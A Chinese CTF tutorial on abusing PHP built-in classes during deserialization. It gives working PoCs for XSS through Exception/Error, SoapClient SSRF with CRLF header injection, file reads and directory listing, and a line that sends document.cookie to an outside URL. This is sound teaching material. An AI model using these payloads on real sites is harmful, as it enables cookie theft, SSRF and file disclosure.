
前言
周末看题,遇PHP原生类相关的,此前并未有太多了解,学习过后进行简单总结,希望对正在学习的师傅有所帮助。
PHP原生类
基础概念
什么是原生类呢,接下来来简单介绍一下它。
PHP原生类就是在标准PHP库中已经封装好的类,而在其中,有些类具有一些功能,例如文件读取、目录遍历等,这就给了我们可乘之机,我们只需要实例化这些类,就可以实现文件读取这种敏感操作。
在CTF中,有时会遇到一些奇怪的题,比如没有给出反序列化的类,这个时候可能就需要用到PHP原生类了
我们可以通过如下脚本来获取调用了常见魔术方法的原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 如果题目中有其他的魔术方法,可自行添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
其输出结果如下
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
...
常用的有以下几个
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement
SplFileObject
接下来对其进行简单讲解
XSS By Error/Exception
Error
前提
适用于php7版本
在开启报错的情况下
原理
Error是所有PHP内部错误类的基类,用于自动自定义一个Error
,该类是在PHP 7.0.0 中开始引入的(此即前提条件一之原因)。
Error
类中含有一个__tostring
魔术方法,如果把它当做字符串使用,就会触发该魔术方法。例如我们对其进行输出操作(echo
),此时就会自动调用__tostring
魔术方法,如果Error
类中内容为XSS
恶意语句,此时就会导致XSS
demo
现有题目如下
<?php
$a = unserialize($_GET['a']);
echo $a;
?>
对代码进行简单分析,这里对传入的a
参数直接进行反序列化而后进行了输出操作。这明显是一个PHP反序列化的问题,但却没给出反序列化的类,此时就要考虑用PHP原生类了。
构造Poc
如下
<?php
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
#O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5Cqq.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
?>
接下来访问构造好的题目环境,将构造好的Payload
赋值给a参数
。
成功触发XSS
Exception
前提
适用于php5、7版本
开启报错的情况下
原理
Exception是所有用户级异常的基类,它触发XSS的原理与Error类似,类中也存在一个__tostring
魔术方法,当其被触发且类中存在恶意代码时,此时就会出现XSS
。
demo
题目同上
<?php
$a = unserialize($_GET['a']);
echo $a;
?>
Poc
如下
<?php
$a = new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));
#O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A40%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5C877.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
?>
成功触发XSS
SSRF By SoapClient
首先来简单介绍一下SoapClient 类
定义
首先看看SOAP的介绍
SOAP,作为webService三要素(SOAP、WSDL、UDDI)之一,用来描述传递信息的格式,SOAP可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RPC)等大量的应用程序。SOAP使用基于XML的数据结构和超文本传输协议(HTTP)的组合定义了一个标准的方法来使用Internet上各种不同操作环境中的分布式对象。(以上来自百度百科)
简单的说,就是这个SOAP可以发送请求,当我们能够控制数据包中的内容时,就可以通过GET/POST方法进行传参,进而发起SSRF。
注:如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项
接下来来看一下PHP SoapClient类的部分内容
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看出这里存在一个__call
方法,而正是由于这个魔术方法,导致了SSRF的出现。当__call
魔术方法被调用时,它就会向目标URL发送一个soap
请求,也可以理解为HTTP/HTTPS
请求。
接下来看一下该函数的参数
public __construct ( string|null $wsdl , array $options = [] )
从这里可以看出需要两个参数,第一个参数$wsdl
用来指明是否为wsdl
模式,这个一般不开,也用不到,所以不进行讲解,有兴趣的师傅可自行参考https://www.cnblogs.com/hujun1992/p/wsdl.html。接下来看第二个参数,如果是wsdl
模式,则它是可选项(可写可不写),若不是wsdl
模式,则第二个参数必须写,且数组中必须要设置location
和uri
选项,其中location
是目标URL,而uri
是SOAP
服务的目标命名空间
demo
既然此类可发送请求,且URL可控,那我们监听本机一个端口,同时发起一个请求,看看会有什么反应。
首先在VPS开启监听
接下来我们去请求这个端口,看看有何响应
<?php
$a = new SoapClient(null,array('uri'=>'quan9i', 'location'=>'http://ip:7777'));
$b = serialize($a);
$c = unserialize($b);
$c -> abc();
接下来运行php文件,在VPS上收到响应
从这里可以看到SOAPAction: "quan9i#abc",quan9i
是我们写入的uri
,abc
则是我们调用的方法名
,因此如果HTTP头部
还存在CRLF
漏洞(即插入\r\n
)的话,但我们则可以通过SSRF+CRLF
,插入任意的HTTP头或是POST报文。接下来实验一下
插入Cookie
<?php
$a = new SoapClient(null,array('location' => 'http://VPS:7777', 'user_agent' => "quan9i\r\nCookie: PHPSESSID=abcdefghijklmn", 'uri' => 'qwq'));
$b = serialize($a);
$c = unserialize($b);
$c -> abc();
插入POST报文
<?php
$a = new SoapClient(null,array('location' => 'http://VPS:7777', 'user_agent' => "quan9i\r\n\r\nPOSTtest", 'uri' => 'qwq'));
$b = serialize($a);
$c = unserialize($b);
$c -> abc();
此时还有一个问题就是传输POST数据
时需遵循HTTP协议
,所以Content-Type
的值我们要设置为application/x-www-form-urlencoded
,Content-type
的值在User-Agent
下方,所以我们可以通过SoapClient
来设置User-Agent
,构造代码如下
<?php
$target = 'http://VPS:7777';
$post_data = 'qwq=1';
$headers = array('X-Forwarded-For: 127.0.0.1');
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
运行文件
可以看出成功挤掉了原来的Content-type
,我们成功上传了一个新的Content-type
文件读取
SplFileObject
定义
plFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。该类部分代码如下
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
...
/* 继承的方法 */
public SplFileInfo::__toString(): string
}
原理
该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单解释一下,当类中__tostring
魔术方法被触发时,如果类中内容为存在文件名,那么它会对此文件名进行内容获取。
简单利用
读取文件方法如下
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
成功读取文件,但从中可看出,这样的话只能读取一行,因此如果我们想读取多行的话,需要进行一个遍历输出,具体代码如下
<?php
highlight_file(__FILE__);
$dir = new SplFileObject('/etc/passwd');
foreach($dir as $key){
echo($key);
}
遍历目录
FilesystemIterator
定义
DirectoryIterator 类可以理解为文件系统迭代器,其构造方法将会创建一个指定目录的迭代器
该类的部分代码如下
class FilesystemIterator extends DirectoryIterator {
/* Methods */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)
public current(): string|SplFileInfo|FilesystemIterator
public getFlags(): int
public key(): string
public next(): void
public rewind(): void
public setFlags(int $flags): void
/* Inherited methods */
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
...
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}
原理
此类内置了__tostring
函数,当我们用了这个类,且对其进行echo
或其他操作时,会触发__tostring
函数,此时会返回这个迭代器的第一项,亦即返回文件名。
简单利用
直接利用函数并输出的话它只能输出一个文件名,因此需要一个遍历函数,这样才能获取指定目录的全部文件名。
<?php
highlight_file(__FILE__);
$dir=new FilesystemIterator("/");
foreach($dir as $f){
echo($f.'<br>');
}
成功输出根目录文件名
demo
现有题目如下(代码参考自http://arsenetang.com)
<?php
error_reporting(0);
highlight_file(__FILE__);
echo 'flag就在这个目录下的某个目录中的文件里';
echo '</br>';
class A{
public $class;
public $para;
public function __wakeup()
{
echo new $this->class ($this->para);
}
}
if(isset($_GET['a'])){
unserialize($_GET['a']);
}
对于这个,我们可以看到提示了flag
在这个目录下的某个目录中的文件里
,明显是想让我们进行目录遍历,同时这里并未给出其他可利用的类,且存在echo
函数,因此我们想到PHP原生类中的FilesystemIterator
类。
因此我们这里可以给$class
赋值为目录读取类,给$para
赋值为我们想读取的目录,构造Poc如下
<?php
class A{
public $class = 'FilesystemIterator';
public $para = './';
}
$a = new A();
echo serialize($a);
#O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";}
?>
此时用得到的Payload去打,即可发现flag
接下来读取flag文件夹,看看里面有啥
<?php
class A{
public $class = 'FilesystemIterator';
public $para = './flag';
}
$a = new A();
echo serialize($a);
#O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:6:"./flag";}
?>
但它这个类是没有文件读取功能的,想读取文件的话还需要用到其他类,这里使用SplFileObject
类进行读取,因此简单修改一下Poc,尝试读取flag.txt
<?php
class A{
public $class = 'SplFileObject';
public $para = './flag/flag.txt';
}
$a = new A();
echo serialize($a);
#O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:15:"./flag/flag.txt";}
?>
成功获取flag
DirectoryIterator
定义
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的部分代码如下
DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct ( string $path )
public current ( ) : DirectoryIterator
public getATime ( ) : int
public getBasename ( string $suffix = ? ) : string
public getCTime ( ) : int
public getExtension ( ) : string
public getFilename ( ) : string
public getGroup ( ) : int
public getInode ( ) : int
public getMTime ( ) : int
public getOwner ( ) : int
public getPath ( ) : string
public getPathname ( ) : string
public getPerms ( ) : int
public getSize ( ) : int
public getType ( ) : string
public isDir ( ) : bool
public isDot ( ) : bool
public isExecutable ( ) : bool
public isFile ( ) : bool
public isLink ( ) : bool
public isReadable ( ) : bool
public isWritable ( ) : bool
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public seek ( int $position ) : void
public __toString ( ) : string // 以字符串形式获取文件名
public valid ( ) : bool
}
简单利用
如果不进行遍历,它只能获取指定目录下排序后的一个文件名,因此我们需要进行一个遍历才可获取其指定目录下全部文件名,利用方式如下
<?php
highlight_file(__FILE__);
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
}
接下来访问环境,即可发现
根目录文件名均被列出。
GlobIterator
定义
GlobIterator与前两个类相似,它也可以遍历一个文件目录,略有不同的是它与glob()
有共通之处,可以通过模式匹配寻找文件路径,比如题目的flag在aaccflag.php
中,我们知道文件名可能会有flag
,此时就可以去GlobIterator(/*flag*)
这种方式来匹配flag
。
具体代码如下
<?php
highlight_file(__FILE__);
$dir=new GlobIterator("/*flag*");
echo $dir;
接下来去访问
成功找到flag文件
open_basedir BYpass
当这三个目录遍历类与glob
伪协议相结合时,可以绕过open_basedir
,查看指定目录下的文件名,具体代码如下
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f.'<br>');
}
?>
访问环境
成功输出根目录文件名,其他目录遍历类亦是如此,这里不再演示。
CTF赛题实战
XSS
[BJDCTF 2nd]xss之光
没找到环境,但无妨,因为很多大师傅已经给出了Wp,附赠了源码,因此直接看思路即可。
其题目代码如下
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
这里不难看出是有关PHP反序列化的,但并未给出参数,因此联想到PHP原生类的利用,题目名为Xss之光,且最后有echo
函数,明显的原生类触发XSS题目,对于XSS,XSS利用window.open()
函数,就可打开新窗口,带出Cookie(flag一般都在Cookie中),因此构造Poc如下
<?php
$a = new Exception("<script>window.location.href='https://www.baidu.com'</script>");
echo urlencode(serialize($a));
#O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A40%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5C877.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
也可以直接弹Cookie
<?php
$str = new Exception("<script>window.location.href='url/?'+document.cookie</script>");
echo urlencode(serialize($str));
?>
没图的话有些抽象,这里借用一下春告鳥大师傅的图。
SSRF
CTFSHOW web[259]
题目环境https://ctf.show/challenges#web259-719
源码如下
#index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
#flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这里的话可以看到它是按照HTTP_X_FORWARDED_FOR
对请求报文进行分离,后半部分为$ip
,我们这里的User-Agent
即位于$ip
中,因此我们可以借用SoapClient+CRLF
实现SSRF,将上面demo中的代码进行更改即可,具体如下
<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = 'token=ctfshow';
$headers = array('X-Forwarded-For: 127.0.0.1,127.0.0.1');
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
$b = str_replace('&','&',$b);
echo urlencode($b); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
#O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A203%3A%22qwq%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
?>
接下来赋值给vip
参数
接下来访问flag.txt
遍历目录+文件读取
CTFSHOW 愚人杯[被遗忘的反序列化]
环境如下https://ctf.show/challenges#%E8%A2%AB%E9%81%97%E5%BF%98%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-3968
代码如下
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
寻找出口,发现这个eval
函数,具体代码如下
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
当满足$get === "p8vfuv8g8v8py"
才可实现命令执行,但这里get
参数被加密了,所以可以尝试下PHP原生类,此时的思路如下,它提示了当前目录存在txt文件,我们知道Globlterator
类只需要知道文件名的一部分,就可以获取整个文件名,因此我们可以通过它来寻找txt
文件。如何触发Globlterator
类呢,当然是找有a(b)
此类的,且a,b
均可控,同时对函数进行输出,此时看到gBoBg
类中的__tostring
方法
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
这个完全符合条件,我们给coos
赋值为Globlterator
,给file
赋值为*txt
即可输出含有txt
的文件名。但如何触发__tostring
魔术方法呢,__tostring
魔术方法是当函数被当做字符串时触发的,因此我们随便找一个即可,这里看到w_wuw_w
类中的key
参数,$this->key
这个就可以作为__tostring
的函数触发点。
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
因此接下来构造一下代码
<?php
class gBoBg{
public $name='1';
public $file='*txt';
public $coos='GlobIterator';
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123';
echo serialize($pop);
#O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:4:"*txt";s:4:"coos";s:12:"GlobIterator";}s:4:"file";s:3:"123";}
赋值给$_SERVER["HTTP_AAAAAA"];
这个其实在请求头字段进行赋值,我们这里的话,AAAAAA= 'xxx'
即可实现赋值
发现h1nt.txt
,接下来用SplFileObject
类进行读取即可
<?php
class gBoBg{
public $name='1';
public $file='h1nt.txt';
public $coos='SplFileObject';
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123';
echo serialize($pop);
#O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"h1nt.txt";s:4:"coos";s:13:"SplFileObject";}s:4:"file";s:3:"123";}
emmm,只给出了这样一句话,应该是没回显完整,但此时转念一想,这个只是hint
,里面应该也不会有flag
,我们为什么不直接去根目录找flag文件然后读呢,因此接下来尝试去根目录下寻找flag文件。
<?php
class gBoBg{
public $name='1';
public $file='/f*';
public $coos='GlobIterator';
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123';
echo serialize($pop);
#O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:3:"/f*";s:4:"coos";s:12:"GlobIterator";}s:4:"file";s:3:"123";}
疑似发现flag文件f1agaaa
,尝试读取
<?php
class gBoBg{
public $name='1';
public $file='/f1agaaa';
public $coos='SplFileObject';
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123';
echo serialize($pop);
成功获取flag。
参考文献
https://johnfrod.top/%E5%AE%89%E5%85%A8/ctf-%E4%B8%AD-php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/
http://arsenetang.com/2021/10/29/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87%E4%B9%8BPHP%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E8%BF%90%E7%94%A8/#%E5%88%A9%E7%94%A8SoapClient%E5%AE%9E%E7%8E%B0SSRF
https://www.freebuf.com/articles/web/356530.html
https://xz.aliyun.com/t/9293#toc-10
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)